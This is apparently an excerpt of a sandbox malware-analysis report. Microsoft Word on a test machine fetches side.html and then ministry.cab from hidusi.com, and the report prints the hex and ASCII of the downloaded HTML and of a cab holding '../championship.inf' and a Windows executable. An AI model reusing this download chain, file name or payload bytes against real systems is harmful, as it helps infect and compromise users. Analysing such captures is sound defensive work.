Sep 2, 2021 05:59:44.360096931 CEST	1184	IN	HTTP/1.1 200 OK Date: Thu, 02 Sep 2021 03:59:44 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Wed, 01 Sep 2021 12:29:06 GMT ETag: "18f1-5caee365a20d1" Accept-Ranges: bytes Content-Length: 6385 Vary: Accept-Encoding Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49707	23.106.160.25	80	C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

Timestamp	kBytes transferred	Direction	Data
Sep 2, 2021 05:59:43.376935959 CEST	1179	OUT	GET /e8c76295a5f9acb7/side.html HTTP/1.1 Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; ms-office; MSOffice 16) Accept-Encoding: gzip, deflate Host: hidusi.com Connection: Keep-Alive
Sep 2, 2021 05:59:43.550872087 CEST	1180	IN	HTTP/1.1 200 OK Date: Thu, 02 Sep 2021 03:59:43 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Wed, 01 Sep 2021 12:29:06 GMT ETag: "18f1-5caee365a20d1-gzip" Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 1757 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html Data Raw: 1f 8b 08 00 00 00 00 00 00 03 dd 59 69 4f db 48 18 fe de 5f 41 d9 0f 8e 37 97 cf 8c dd e0 4a 14 e8 16 2d 88 96 d2 2d ab 28 aa e6 f2 c6 6d 12 7b 13 87 d0 45 fc f7 7d 67 c6 67 48 42 da 52 69 b5 02 79 ec 99 f7 78 de 73 c6 ce c1 f3 e3 8b a3 ab 3f df 9e ec 8d d2 c9 f8 e5 b3 03 35 ec 1d 8c 38 66 30 ee 1d 4c 78 8a 61 31 4d da fc ef 45 74 13 ec 9f dc 26 d1 8c cf f7 f7 68 3c 4d f9 34 0d f6 db e6 fe 7a d2 eb f6 87 c3 f6 51 3c 49 70 1a 91 31 af b0 9c 9e 04 a6 e4 3a e8 66 9a 0e 48 cc be 4a 31 73 3a 8b 92 f4 e5 b3 1b 3c db c3 c6 27 e3 d6 b4 50 18 0c 34 d3 b2 b5 96 66 f7 5c df b5 7e 3f 9f 5f be bb 82 c7 34 ba e1 d7 30 76 cf 62 b8 76 ba 1d f9 0f b7 99 aa e3 98 2e 26 30 c2 4c 92 1c c3 f5 18 8b 7b 3a 8e e7 1c c6 43 9a 46 30 cc f8 24 be e1 47 a3 68 cc e0 69 32 7e 0d d7 e5 2c 4a b9 94 79 08 57 9c 62 21 35 1a cb 29 a9 41 00 86 61 ce d3 c3 34 9d 45 64 21 c9 7f b9 e1 b3 79 14 4f 03 b7 65 88 3f 41 31 17 3a a2 70 86 27 82 02 39 1e 32 bc 59 38 f9 70 f5 05 1e 59 86 f0 64 cc 33 a0 e3 d7 4a cd 38 a6 e0 b8 78 0a b7 a6 eb 03 cf e8 d5 1f 97 e9 42 a0 51 e6 be 97 9e aa c8 10 96 e1 f1 b8 34 ff 63 34 65 f1 12 9e f9 24 11 c6 97 74 17 e4 b3 f0 c9 2c 4e e3 f4 6b 22 d5 85 02 26 f9 cc 69 2a cd 9a 0a 5f e0 24 81 9b dc 33 67 f1 b2 4b 47 78 92 00 aa f9 28 4a 3a d1 34 84 69 91 34 a1 c2 6c 02 52 cb 49 ce c8 69 22 d4 fe 76 22 82 94 ac 63 32 4d c3 9f 9f c7 d7 d7 d7 79 e0 0e 95 28 01 a5 7b a5 4c 11 7e 36 97 ff bc 4b 8e 2e 84 11 12 d9 5a 08 ae 65 39 a6 cb 26 d1 e5 07 25 26 4d 5e 74 bb a3 88 2d e6 51 87 c6 93 2e f7 28 ea 59 be 8b dd d0 c7 94 a0 ee 24 9a 46 f3 74 f6 b5 43 31 01 0e cf b3 2d 63 f9 f1 af 31 7d 05 4f d7 e7 67 6f 40 c4 25 24 32 9f 4b b7 3e 54 79 28 d1 1c bf e0 8c 50 1b 39 b4 ed 22 db 68 3b b6 85 db c4 25 5e 9b 71 df 09 0d e2 22 cb 44 40 18 83 23 61 80 3c 87 eb 9b ab f3 b3 32 e0 60 3c 5c 21 91 85 91 a6 61 bd e6 6f 0f 3f 1e 69 c3 7e b8 98 52 91 01 59 1d b8 9c 36 60 b4 2d 9f 11 dc 82 3b a7 67 1a 88 ea 77 33 9e 2e 66 15 aa 20 67 6c 64 e5 83 dc 56 b6 c4 5c fd ae 98 0c 8a bb b6 71 8b 71 5f 94 1c 4c b9 18 21 83 06 45 f1 0d 0a b2 61 3f 53 55 50 f5 ef 5b db c1 f5 ef 1b 55 34 ae ef 7b 2e 93 68 10 e1 cc d3 ef 32 a5 26 c7 d4 37 82 42 58 7f 09 49 c7 1b cf 9f 0f 86 fa 1d c4 29 a7 b3 42 c4 2d 16 24 78 36 e7 a7 d3 b4 51 b0 36 8c 5b ca 75 bd b9 76 05 14 e9 bf ae e7 71 36 f1 50 1f 78 da 6b 97 30 db c4 44 cc 8d e2 28 ac ac 17 47 37 32 31 ac eb fd 28 6c 94 86 07 41 e9 3b 32 e3 f8 4b 9f 8f e7 7c af 70 ed 40 4b 16 f3 91 36 6c 54 66 20 6b c3 14 a6 40 d6 3d f4 14 3a 92 91 72 70 68 72 99 0d bb 71 de df 37 8a 94 68 01 09 0b 91 a9 b7 8a e0 16 91 b4 38 b7 0c 54 46 52 04 db 42 3e c7 24 58 ca 7e 24 a3 4f 7c 9b a1 a0 58 1a 14 8c c2 89 8e 3e 14 44 34 74 b1 b5 89 c6 d3 87 83 4a 03 83 07 0a ee 48 79 5e 57 52 82 c3 10 35 76 17 51 5d e5 ae 02 61 72 6e 9b 74 83 08 28 a7 3a 17 c1 ab 13 5c 89 b1 98 65 50 f6 dd 62 b8 ad c4 38 61 68 9a 4e 90 3b 67 a0 1a be 8c 99 72 69 ab ca 85 21 e7 fa a2 78 0a 3b ea 5a 40 6d c9 59 d7 87 ab fa aa 79 63 62 e2 b8 8e fe ed 22 31 5f 11 99 e5 8b 63 d8 dc 0d 83 62 a5 2e af 27 62 24 f6 69 d1 1f Data Ascii: YiOH_A7J--(m{E}ggHBRiyxs?58f0Lxa1MEt&h<M4zQ<Ip1:fHJ1s:<'P4f\~?_40vbv.&0L{:CF0$Ghi2~,JyWb!5)Aa4Ed!yOe?A1:p'92Y8pYd3J8xBQ4c4e$t,Nk"&i*_$3gKGx(J:4i4lRIi"v"c2My({L~6K.Ze9&%&M^t-Q.(Y$FtC1-c1}Ogo@%$2K>Ty(P9"h;%^q"D@#a<2`<\!ao?i~RY6`-;gw3.f gldV\qq_L!Ea?SUP[U4{.h2&7BXI)B-$x6Q6[uvq6Pxk0D(G721(lA;2K\|p@K6lTf k@=:rphrq7h8TFRB>$X~$O\|X>D4tJHy^WR5vQ]arnt(:\ePb8ahN;gri!x;Z@mYycb"1_cb.'b$i
Sep 2, 2021 05:59:43.550905943 CEST	1181	IN	Data Raw: d5 ee a4 fc 69 39 21 62 c1 94 2f 4b 19 8d 2a 27 ed e9 cd 9a 24 a2 37 35 d8 a4 f4 fe 7a 4d 8c 0b 4d b2 4d 43 be d7 9d 61 82 51 7a de 1e 6d 64 62 64 06 5a a2 e5 ae 55 b1 fd 71 d7 da c4 30 1c 55 92 99 c8 07 e1 1d 3c 38 30 d4 65 15 5b 86 90 e1 9a 26 Data Ascii: i9!b/K'$75zMMMCaQzmdbdZUq0U<80e[&ea:.9!{w7k M14yzkig(aCj.cci13ml-p-#55g&wyTmCq{$skcZJ7'j
Sep 2, 2021 05:59:43.566051006 CEST	1181	OUT	HEAD /e8c76295a5f9acb7/side.html HTTP/1.1 Authorization: Bearer X-MS-CookieUri-Requested: t X-IDCRL_ACCEPTED: t User-Agent: Microsoft Office Existence Discovery Host: hidusi.com Connection: Keep-Alive
Sep 2, 2021 05:59:43.738517046 CEST	1182	IN	HTTP/1.1 200 OK Date: Thu, 02 Sep 2021 03:59:43 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Wed, 01 Sep 2021 12:29:06 GMT ETag: "18f1-5caee365a20d1" Accept-Ranges: bytes Content-Length: 6385 Vary: Accept-Encoding Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html
Sep 2, 2021 05:59:43.748692989 CEST	1182	OUT	HEAD /e8c76295a5f9acb7/side.html HTTP/1.1 Authorization: Bearer X-MS-CookieUri-Requested: t X-IDCRL_ACCEPTED: t User-Agent: Microsoft Office Existence Discovery Host: hidusi.com Connection: Keep-Alive
Sep 2, 2021 05:59:43.922211885 CEST	1183	IN	HTTP/1.1 200 OK Date: Thu, 02 Sep 2021 03:59:43 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Wed, 01 Sep 2021 12:29:06 GMT ETag: "18f1-5caee365a20d1" Accept-Ranges: bytes Content-Length: 6385 Vary: Accept-Encoding Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html
Sep 2, 2021 05:59:44.378772020 CEST	1184	OUT	GET /e8c76295a5f9acb7/side.html HTTP/1.1 Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; ms-office; MSOffice 16) Accept-Encoding: gzip, deflate Host: hidusi.com If-Modified-Since: Wed, 01 Sep 2021 12:29:06 GMT If-None-Match: "18f1-5caee365a20d1-gzip" Connection: Keep-Alive
Sep 2, 2021 05:59:44.551347971 CEST	1186	IN	HTTP/1.1 200 OK Date: Thu, 02 Sep 2021 03:59:44 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Wed, 01 Sep 2021 12:29:06 GMT ETag: "18f1-5caee365a20d1-gzip" Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 1757 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html Data Raw: 1f 8b 08 00 00 00 00 00 00 03 dd 59 69 4f db 48 18 fe de 5f 41 d9 0f 8e 37 97 cf 8c dd e0 4a 14 e8 16 2d 88 96 d2 2d ab 28 aa e6 f2 c6 6d 12 7b 13 87 d0 45 fc f7 7d 67 c6 67 48 42 da 52 69 b5 02 79 ec 99 f7 78 de 73 c6 ce c1 f3 e3 8b a3 ab 3f df 9e ec 8d d2 c9 f8 e5 b3 03 35 ec 1d 8c 38 66 30 ee 1d 4c 78 8a 61 31 4d da fc ef 45 74 13 ec 9f dc 26 d1 8c cf f7 f7 68 3c 4d f9 34 0d f6 db e6 fe 7a d2 eb f6 87 c3 f6 51 3c 49 70 1a 91 31 af b0 9c 9e 04 a6 e4 3a e8 66 9a 0e 48 cc be 4a 31 73 3a 8b 92 f4 e5 b3 1b 3c db c3 c6 27 e3 d6 b4 50 18 0c 34 d3 b2 b5 96 66 f7 5c df b5 7e 3f 9f 5f be bb 82 c7 34 ba e1 d7 30 76 cf 62 b8 76 ba 1d f9 0f b7 99 aa e3 98 2e 26 30 c2 4c 92 1c c3 f5 18 8b 7b 3a 8e e7 1c c6 43 9a 46 30 cc f8 24 be e1 47 a3 68 cc e0 69 32 7e 0d d7 e5 2c 4a b9 94 79 08 57 9c 62 21 35 1a cb 29 a9 41 00 86 61 ce d3 c3 34 9d 45 64 21 c9 7f b9 e1 b3 79 14 4f 03 b7 65 88 3f 41 31 17 3a a2 70 86 27 82 02 39 1e 32 bc 59 38 f9 70 f5 05 1e 59 86 f0 64 cc 33 a0 e3 d7 4a cd 38 a6 e0 b8 78 0a b7 a6 eb 03 cf e8 d5 1f 97 e9 42 a0 51 e6 be 97 9e aa c8 10 96 e1 f1 b8 34 ff 63 34 65 f1 12 9e f9 24 11 c6 97 74 17 e4 b3 f0 c9 2c 4e e3 f4 6b 22 d5 85 02 26 f9 cc 69 2a cd 9a 0a 5f e0 24 81 9b dc 33 67 f1 b2 4b 47 78 92 00 aa f9 28 4a 3a d1 34 84 69 91 34 a1 c2 6c 02 52 cb 49 ce c8 69 22 d4 fe 76 22 82 94 ac 63 32 4d c3 9f 9f c7 d7 d7 d7 79 e0 0e 95 28 01 a5 7b a5 4c 11 7e 36 97 ff bc 4b 8e 2e 84 11 12 d9 5a 08 ae 65 39 a6 cb 26 d1 e5 07 25 26 4d 5e 74 bb a3 88 2d e6 51 87 c6 93 2e f7 28 ea 59 be 8b dd d0 c7 94 a0 ee 24 9a 46 f3 74 f6 b5 43 31 01 0e cf b3 2d 63 f9 f1 af 31 7d 05 4f d7 e7 67 6f 40 c4 25 24 32 9f 4b b7 3e 54 79 28 d1 1c bf e0 8c 50 1b 39 b4 ed 22 db 68 3b b6 85 db c4 25 5e 9b 71 df 09 0d e2 22 cb 44 40 18 83 23 61 80 3c 87 eb 9b ab f3 b3 32 e0 60 3c 5c 21 91 85 91 a6 61 bd e6 6f 0f 3f 1e 69 c3 7e b8 98 52 91 01 59 1d b8 9c 36 60 b4 2d 9f 11 dc 82 3b a7 67 1a 88 ea 77 33 9e 2e 66 15 aa 20 67 6c 64 e5 83 dc 56 b6 c4 5c fd ae 98 0c 8a bb b6 71 8b 71 5f 94 1c 4c b9 18 21 83 06 45 f1 0d 0a b2 61 3f 53 55 50 f5 ef 5b db c1 f5 ef 1b 55 34 ae ef 7b 2e 93 68 10 e1 cc d3 ef 32 a5 26 c7 d4 37 82 42 58 7f 09 49 c7 1b cf 9f 0f 86 fa 1d c4 29 a7 b3 42 c4 2d 16 24 78 36 e7 a7 d3 b4 51 b0 36 8c 5b ca 75 bd b9 76 05 14 e9 bf ae e7 71 36 f1 50 1f 78 da 6b 97 30 db c4 44 cc 8d e2 28 ac ac 17 47 37 32 31 ac eb fd 28 6c 94 86 07 41 e9 3b 32 e3 f8 4b 9f 8f e7 7c af 70 ed 40 4b 16 f3 91 36 6c 54 66 20 6b c3 14 a6 40 d6 3d f4 14 3a 92 91 72 70 68 72 99 0d bb 71 de df 37 8a 94 68 01 09 0b 91 a9 b7 8a e0 16 91 b4 38 b7 0c 54 46 52 04 db 42 3e c7 24 58 ca 7e 24 a3 4f 7c 9b a1 a0 58 1a 14 8c c2 89 8e 3e 14 44 34 74 b1 b5 89 c6 d3 87 83 4a 03 83 07 0a ee 48 79 5e 57 52 82 c3 10 35 76 17 51 5d e5 ae 02 61 72 6e 9b 74 83 08 28 a7 3a 17 c1 ab 13 5c 89 b1 98 65 50 f6 dd 62 b8 ad c4 38 61 68 9a 4e 90 3b 67 a0 1a be 8c 99 72 69 ab ca 85 21 e7 fa a2 78 0a 3b ea 5a 40 6d c9 59 d7 87 ab fa aa 79 63 62 e2 b8 8e fe ed 22 31 5f 11 99 e5 8b 63 d8 dc 0d 83 62 a5 2e af 27 62 24 f6 69 d1 1f d5 Data Ascii: YiOH_A7J--(m{E}ggHBRiyxs?58f0Lxa1MEt&h<M4zQ<Ip1:fHJ1s:<'P4f\~?_40vbv.&0L{:CF0$Ghi2~,JyWb!5)Aa4Ed!yOe?A1:p'92Y8pYd3J8xBQ4c4e$t,Nk"&i*_$3gKGx(J:4i4lRIi"v"c2My({L~6K.Ze9&%&M^t-Q.(Y$FtC1-c1}Ogo@%$2K>Ty(P9"h;%^q"D@#a<2`<\!ao?i~RY6`-;gw3.f gldV\qq_L!Ea?SUP[U4{.h2&7BXI)B-$x6Q6[uvq6Pxk0D(G721(lA;2K\|p@K6lTf k@=:rphrq7h8TFRB>$X~$O\|X>D4tJHy^WR5vQ]arnt(:\ePb8ahN;gri!x;Z@mYycb"1_cb.'b$i
Sep 2, 2021 05:59:44.551369905 CEST	1187	IN	Data Raw: ee a4 fc 69 39 21 62 c1 94 2f 4b 19 8d 2a 27 ed e9 cd 9a 24 a2 37 35 d8 a4 f4 fe 7a 4d 8c 0b 4d b2 4d 43 be d7 9d 61 82 51 7a de 1e 6d 64 62 64 06 5a a2 e5 ae 55 b1 fd 71 d7 da c4 30 1c 55 92 99 c8 07 e1 1d 3c 38 30 d4 65 15 5b 86 90 e1 9a 26 a3 Data Ascii: i9!b/K'$75zMMMCaQzmdbdZUq0U<80e[&ea:.9!{w7k M14yzkig(aCj.cci13ml-p-#55g&wyTmCq{$skcZJ7'j
Sep 2, 2021 05:59:44.559559107 CEST	1187	OUT	HEAD /e8c76295a5f9acb7/side.html HTTP/1.1 Authorization: Bearer X-MS-CookieUri-Requested: t X-IDCRL_ACCEPTED: t User-Agent: Microsoft Office Existence Discovery Host: hidusi.com Connection: Keep-Alive
Sep 2, 2021 05:59:44.733710051 CEST	1187	IN	HTTP/1.1 200 OK Date: Thu, 02 Sep 2021 03:59:44 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Wed, 01 Sep 2021 12:29:06 GMT ETag: "18f1-5caee365a20d1" Accept-Ranges: bytes Content-Length: 6385 Vary: Accept-Encoding Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html
Sep 2, 2021 05:59:44.739734888 CEST	1188	OUT	HEAD /e8c76295a5f9acb7/side.html HTTP/1.1 Authorization: Bearer X-MS-CookieUri-Requested: t X-IDCRL_ACCEPTED: t User-Agent: Microsoft Office Existence Discovery Host: hidusi.com Connection: Keep-Alive
Sep 2, 2021 05:59:44.912250042 CEST	1188	IN	HTTP/1.1 200 OK Date: Thu, 02 Sep 2021 03:59:44 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Wed, 01 Sep 2021 12:29:06 GMT ETag: "18f1-5caee365a20d1" Accept-Ranges: bytes Content-Length: 6385 Vary: Accept-Encoding Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html
Sep 2, 2021 05:59:45.724760056 CEST	1189	OUT	GET /e8c76295a5f9acb7/ministry.cab HTTP/1.1 Accept: / Referer: http://hidusi.com/e8c76295a5f9acb7/side.html Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: hidusi.com Connection: Keep-Alive
Sep 2, 2021 05:59:45.897394896 CEST	1190	IN	HTTP/1.1 200 OK Date: Thu, 02 Sep 2021 03:59:45 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Wed, 01 Sep 2021 12:29:10 GMT ETag: "20b060-5caee369535c1" Accept-Ranges: bytes Content-Length: 2142304 Keep-Alive: timeout=5, max=94 Connection: Keep-Alive Content-Type: application/x-cab Data Raw: 4d 53 43 46 00 00 00 00 60 b0 20 00 00 00 00 00 2c 00 00 00 00 00 00 00 03 01 01 00 01 00 00 00 d2 04 00 00 50 00 00 00 42 00 00 00 00 5c 41 00 00 00 00 00 00 00 19 53 86 70 20 00 2e 2e 2f 63 68 61 6d 70 69 6f 6e 73 68 69 70 2e 69 6e 66 00 ad 69 2d 5b 00 80 00 80 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 28 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 60 2a 2f 7e 24 4b 41 2d 24 4b 41 2d 24 4b 41 2d 90 d7 b0 2d 23 4b 41 2d 90 d7 b2 2d 85 4b 41 2d 90 d7 b3 2d 34 4b 41 2d f9 b4 91 2d 25 4b 41 2d b3 15 44 2c 25 4b 41 2d 1f 15 42 2c 2c 4b 41 2d 1f 15 45 2c 31 4b 41 2d 1f 15 44 2c 03 4b 41 2d b6 15 42 2c 25 4b 41 2d 24 4b 41 2d 25 4b 41 2d b3 15 45 2c 23 49 41 2d f9 b4 8a 2d 37 4b 41 2d 24 4b 40 2d cf 4b 41 2d b3 15 48 2c 2b 4b 41 2d b3 15 43 2c 25 4b 41 2d 52 69 63 68 24 4b 41 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 07 00 f5 7c 1f 61 00 00 00 00 00 00 00 00 f0 00 22 20 0b 02 0e 00 00 0a 14 00 00 fc 0c 00 00 00 00 00 ac 5e 11 00 00 10 00 00 00 00 00 80 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 21 00 00 04 00 00 00 00 00 00 02 00 60 01 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4c 30 1d 00 c8 00 00 00 00 00 00 00 00 00 00 00 00 a0 1f 00 c4 34 01 00 00 00 00 00 00 00 00 00 00 00 21 00 50 58 00 00 40 36 1b 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 37 1b 00 28 00 00 00 80 36 1b 00 94 00 00 00 00 00 00 00 00 00 00 00 00 20 14 00 18 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 2e 09 14 00 00 10 00 00 00 0a 14 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6a 24 09 00 00 20 14 00 00 26 09 00 00 0e 14 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 ec 41 02 00 00 50 1d 00 00 e6 01 00 00 34 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 c4 34 01 00 00 a0 1f 00 00 36 01 00 00 1a 1f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 67 66 69 64 73 00 00 2c 01 00 00 00 e0 20 00 00 02 00 00 00 50 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 09 00 00 00 00 f0 20 00 00 02 00 00 00 52 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 50 58 00 00 00 00 21 00 00 5a 00 00 00 54 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MSCF` ,PB\ASp ../championship.infi-[MZ@(!L!This program cannot be run in DOS mode.$`*/~$KA-$KA-$KA--#KA--KA--4KA--%KA-D,%KA-B,,KA-E,1KA-D,KA-B,%KA-$KA-%KA-E,#IA--7KA-$K@-KA-H,+KA-C,%KA-Rich$KA-PEd\|a" ^`!`L04!PX@687(6 .text. `.rdataj$ &@@.dataAP4@.pdata46@@.gfids, P @@.tls R @.relocPX!ZT @B
Sep 2, 2021 05:59:45.897434950 CEST	1192	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 81 ec 88 02 00 00 48 89 Data Ascii: HH$xH$xHIPH$H$H$h$t[j?$tAX$l$h$l-P$d$l-$`$l-
Sep 2, 2021 05:59:45.897461891 CEST	1193	IN	Data Raw: 00 00 e9 00 00 00 00 8b 84 24 6c 01 00 00 2d 00 3d 60 25 89 84 24 c8 00 00 00 0f 84 ae 10 00 00 e9 00 00 00 00 8b 84 24 6c 01 00 00 2d d4 18 4a 26 89 84 24 c4 00 00 00 0f 84 3f 10 00 00 e9 00 00 00 00 8b 84 24 6c 01 00 00 2d ba b4 54 26 89 84 24 Data Ascii: $l-=`%$$l-J&$?$l-T&$$l-@,$4$l-B-$;$l--$$l-1$$l-5U:$
Sep 2, 2021 05:59:45.897496939 CEST	1194	IN	Data Raw: e9 c2 0b 00 00 31 c0 48 8b 8c 24 08 02 00 00 48 89 8c 24 e0 01 00 00 8b 94 24 ec 01 00 00 66 41 89 d0 66 44 89 84 24 d8 01 00 00 8b 94 24 ec 01 00 00 83 e8 01 29 c2 66 41 89 d0 66 44 89 84 24 da 01 00 00 66 c7 84 24 c8 01 00 00 00 00 66 c7 84 24 Data Ascii: 1H$H$$fAfD$$)fAfD$f$f$H$H$xL$LIXL$LI`H$8L$xIXHL$XLH$ALL$XAE1D1L$xML$xIXML$LL$PMLT$PD$LA
Sep 2, 2021 05:59:45.897527933 CEST	1196	IN	Data Raw: 01 00 00 4c 8b 8c 24 00 02 00 00 48 89 4c 24 40 4c 89 c9 4c 8b 4c 24 40 ff d0 89 84 24 4c 02 00 00 83 bc 24 4c 02 00 00 00 b8 27 46 f7 ae 41 ba a9 4d ad f6 44 0f 4d d0 44 89 94 24 74 01 00 00 e9 48 06 00 00 48 8b 84 24 a0 01 00 00 48 89 84 24 b8 Data Ascii: L$HL$@LLL$@$L$L'FAMDMD$tHH$H$H$H$H$tR-$Lz$tvH$HH$H$HH$$t,>$t$t0[$Lo
Sep 2, 2021 05:59:45.897555113 CEST	1197	IN	Data Raw: 18 06 ef 31 0f 4d c8 89 8c 24 74 01 00 00 e9 40 01 00 00 48 8b 84 24 78 02 00 00 48 8b 40 30 48 89 84 24 50 02 00 00 48 8b 84 24 78 02 00 00 8b 48 3c 89 8c 24 58 02 00 00 48 8b 84 24 78 02 00 00 8b 48 44 89 8c 24 5c 02 00 00 48 8b 84 24 68 02 00 Data Ascii: 1M$t@H$xH@0H$PH$xH<$XH$xHD$\H$hH$(J(HH$@H$@H$PH$hAHT$8DLD$8$d$t1$tP$t?11L$xML$xIXLD$0M
Sep 2, 2021 05:59:45.897583961 CEST	1198	IN	Data Raw: 0f 1f 80 00 00 00 00 0f b6 54 3c 78 48 8b cb e8 43 02 00 00 48 ff c7 48 83 ff 03 7c ea 45 8b f5 49 8b ed 45 85 e4 0f 85 eb fe ff ff 45 85 f6 0f 84 63 01 00 00 41 83 fe 04 7d 1d b8 04 00 00 00 41 2b c6 48 63 c8 49 63 c6 48 8d bc 24 80 00 00 00 48 Data Ascii: T<xHCHH\|EIEEcA}A+HcIcH$H3I@<C<HH\|$$L$x$$D$y$L$zAE~EHt$xDD6LCIH
Sep 2, 2021 05:59:45.897610903 CEST	1200	IN	Data Raw: 8b 0b eb 42 48 85 ff 75 ef 48 83 7b 18 10 48 89 7b 10 72 19 48 8b 03 40 88 38 48 8b c3 48 8b 5c 24 30 48 8b 74 24 38 48 83 c4 20 5f c3 48 8b c3 c6 03 00 48 8b 5c 24 30 48 8b 74 24 38 48 83 c4 20 5f c3 48 8b cb 48 85 ff 74 0b 4c 8b c7 48 8b d6 e8 Data Ascii: BHuH{H{rH@8HH\$0Ht$8H _HH\$0Ht$8H _HHtLHJH{H{rHH8Ht$8HH\$0H _H~C#H\$Ht$H\|$AVH HBIMHHI;I+L;HGH;u/I8H9AHAHyrH3HY
Sep 2, 2021 05:59:45.897638083 CEST	1201	IN	Data Raw: 72 06 e8 bc 83 11 00 cc 48 2b c8 48 83 f9 08 73 06 e8 ad 83 11 00 cc 48 83 f9 27 76 06 e8 a1 83 11 00 cc 48 8b c8 e8 78 23 11 00 48 c7 43 18 0f 00 00 00 48 c7 43 10 00 00 00 00 48 83 7b 18 10 72 05 48 8b 03 eb 03 48 8b c3 c6 00 00 48 89 33 48 89 Data Ascii: rH+HsH'vHx#HCHCH{rHHH3H{LsH{rHB3H\$hH0A^_^H@SUVWAVAWHhIxHHrM0MExH#UHHHHHHH

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49708	23.106.160.25	80	C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE

Timestamp	kBytes transferred	Direction	Data
Sep 2, 2021 06:00:00.082133055 CEST	3426	OUT	HEAD /e8c76295a5f9acb7/side.html HTTP/1.1 Authorization: Bearer X-MS-CookieUri-Requested: t X-IDCRL_ACCEPTED: t User-Agent: Microsoft Office Existence Discovery Host: hidusi.com Connection: Keep-Alive
Sep 2, 2021 06:00:00.255793095 CEST	3427	IN	HTTP/1.1 200 OK Date: Thu, 02 Sep 2021 04:00:00 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Wed, 01 Sep 2021 12:29:06 GMT ETag: "18f1-5caee365a20d1" Accept-Ranges: bytes Content-Length: 6385 Vary: Accept-Encoding Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: WINWORD.EXE PID: 4020 Parent PID: 792

General

Start time:	05:59:34
Start date:	02/09/2021
Path:	C:\Program Files (x86)\Microsoft Office\Office16\WINWORD.EXE
Wow64 process (32bit):	true
